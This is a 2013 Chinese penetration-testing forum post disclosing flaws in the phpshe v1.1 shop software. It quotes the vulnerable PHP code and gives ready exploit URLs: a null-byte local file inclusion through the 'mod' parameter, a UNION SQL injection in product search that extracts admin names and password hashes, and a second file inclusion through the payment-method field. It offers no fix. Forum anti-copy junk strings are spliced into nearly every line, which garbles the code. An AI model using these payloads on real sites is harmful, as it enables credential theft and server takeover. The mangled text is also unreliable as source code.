中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-16 16:45
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/) C, s, j" L$ S3 ~) w1 D
/* Phpshe v1.1 Vulnerability, D6 _7 s7 x) ~8 C
/* ========================1 c% a& Y: p( h' `, {7 ^3 u
/* By: : Kn1f3
+ a+ f* R# h! g3 h8 G5 ^  X/* E-Mail : 681796@qq.com. T1 C& @  j; y  O* H
/*******************************************************/
7 `& l  ^9 D4 F- [# S0×00 整体大概参数传输$ _- u6 ~  [& K6 G1 ]9 s/ B

3 I' |' j' d% I7 K% `' @4 J
+ W+ y  ~$ K& \) t
5 N  b/ y1 D+ K% d& Y$ G//common.php
2 n0 I  Q0 x" Z1 qif (get_magic_quotes_gpc()) {6 ~- u* R9 U0 z. Z  S, n
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
9 D8 `8 S% |" B$ K* ^!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
- u8 h7 I1 U; r+ F) J}
( I: A1 g7 @( w* ?else {
/ V- H5 ^: s$ c: x* E, B!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
7 c- z, O7 U& @9 e0 Y!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');* w# d2 O- @1 E; l
}4 G; i3 V/ }6 p0 G
session_start();+ t# o4 \; J" L( O) l
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');! Y8 w$ }0 x# u' u/ Q4 g4 \  S2 y
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');1 }" ?' z$ s% x6 G' k9 f

. U+ U- I) T, U) e# F% }4 o  U0×01 包含漏洞$ [8 l7 _2 H* G7 N

  L3 r$ w7 c/ n# m) W5 p7 F) L0 J8 Z: P0 g7 t
//首页文件
* p# m$ T6 A6 L<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
$ n3 L+ c7 e9 rinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞1 x5 M5 F* ]( R) Q+ S  o
pe_result();# X; R3 s. {* B6 W# U8 R
?>
8 |$ u& Q1 a. v5 j$ ]//common 文件 第15行开始' o6 _8 u# }7 ^# K% L8 s5 x
url路由配置
1 L9 |- o& ~5 F9 w( A( K9 V# i% W$module = $mod = $act = 'index';
/ d& X0 O) f% }  z, E$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
: f5 r$ I( Y5 N$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
( u- A- o6 f+ H' ?! n- s$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
0 K- C! Q2 L9 K) y$ |5 s$ u7 M//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00" I' Y- Z( ]/ C$ Y3 L7 p3 h* m


/ ?$ T9 v) S( {  o. @2 n
) n' J# M( Q3 P& U! g 0×02 搜索注入
- X( Z. o$ ]* M7 P
( e9 \9 G0 }; p1 G1 D& V' x/ F<code id="code2">

//product.php文件  A; A2 o' n0 v# U1 `$ O* j5 E+ g
case 'list':9 I; I$ v) Q- `9 W2 E: G
$category_id = intval($id);
* {: ?" a* j5 g6 }* L2 u. H1 h0 K' W$info = $db->pe_select('category', array('category_id'=>$category_id));
0 C: ], e6 O# F+ _; e//搜索. w6 ^4 |& O! J
$sqlwhere = " and `product_state` = 1";
& f7 i0 Y% H/ |/ }* r6 V+ {pe_lead('hook/category.hook.php');
; e' m0 m( j( g9 A7 I$ {if ($category_id) {
' T, {, e& t9 w; H3 owhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";5 @0 f6 A# ~& R/ h6 e" Q1 m
}' I- T+ s+ U! N3 m
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤1 o7 ^. |3 F& Z8 i& o
if ($_g_orderby) {$ H" ?& m3 `6 |' P
$orderby = explode('_', $_g_orderby);" e# ]# P% {7 i6 Q' n, w& @; m
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";( ]8 s* ^4 w# z
}0 f' E* m; o% ~  W) ?- _( ?4 U# i
else {
6 v/ Q/ ]' J8 ^  K$sqlwhere .= " order by `product_id` desc";/ m8 R+ M$ c' B7 _* B& ]- a
}
( p6 u  w- I) T$ O, M$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
3 p) ?# @$ i8 P, O- M//热卖排行. @2 j! N4 t* v" |+ J
$product_hotlist = product_hotlist();
1 L4 o7 [2 w! V//当前路径
  ~1 M4 F+ o' Q! [$nowpath = category_path($category_id);' ~; I  F# n6 l) k# J' _; h
$seo = pe_seo($info['category_name']);5 b7 f% Q  H# D. \& ?
include(pe_tpl('product_list.html'));
* Y& b" y/ e& [& _) k//跟进selectall函数库% c6 T3 d: y5 n7 E: m" ~) V/ G
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
1 u' ]( c4 [% q3 k, n{
7 a8 W' O. v1 G2 `$ F+ v# W' w; F' r//处理条件语句
& T/ M" ]: w' _) b  r) @$sqlwhere = $this->_dowhere($where);
" ?% j3 q4 y2 u1 P! P. {0 d$ z1 c) Greturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);* I( p4 w, g& i, o
}
% u) B% K( Y' g2 o//exp
; I" E! m0 D  Tproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1$ I( m" w: W4 S

</code>
6 _5 }" G2 d# Y* ]+ Z/ O* J $ a; d3 T5 I6 K2 q- n4 [3 \
0×03 包含漏洞2
2 e7 G6 X! ]! g6 X2 Y
1 @. R8 s/ e/ J<code id="code3">

//order.php

case 'pay':


% Z* n# U+ Y# m+ B$ i6 I$ q8 T7 G$order_id = pe_dbhold($_g_id);

  A8 u1 {6 Q: \2 f& W
$cache_payway = cache::get('payway');


: s; `7 N6 B0 fforeach($cache_payway as $k => $v) {


# e+ O% P" k# M$ P5 t6 O$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 E7 q! p& D! _7 U
if ($k == 'bank') {


1 o: _- Z: n* S' F9 \# U( z$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


6 e  J9 B6 c1 A3 A$ M}


, j$ y, \; y  {( k" V9 u3 B}


$ A* y4 [# v( i! h  A! c! P5 _$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

, A  d  F/ x' Y3 e5 q/ k
!$order['order_id'] && pe_error('订单号错误...');

7 S# G# P5 X! j# O
if (isset($_p_pesubmit)) {


; u- i. J! y4 ^% @0 D+ C: ^if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


- Z  K! {3 Z* a2 D7 F$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

5 m6 i0 t) r) Z! s0 U+ T
foreach ($info_list as $v) {


! j3 {6 n5 g8 c7 G$order['order_name'] .= "{$v['product_name']};";
4 [" _( A4 [" S( M

8 c1 Z$ B; o4 h$ G  j* Y
}

# N4 J. C5 {$ O! y& B' }
echo '正在为您连接支付网站，请稍后...';


1 J% K5 }- k5 W" qinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


3 A* |$ [7 B) g}//当一切准备好的时候就可以进行"鸡肋包含了"

' D+ N. b8 r6 p/ b7 o
else {


' R3 ^7 Q; S9 F6 E) d3 `  i- Xpe_error('支付错误...');


. J& f3 o( F! z3 a" ]6 R3 |) N}

3 G" K8 v6 ~  H# ^* X8 `2 W* h
}


/ f, a+ l- Z+ C( M- _8 |0 T$seo = pe_seo('选择支付方式');

7 _4 M' W8 g$ F( @6 V( E: p; q2 N- U
include(pe_tpl('order_pay.html'));


; s( W: V, ~0 Rbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
+ r7 S% D7 A) Whttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2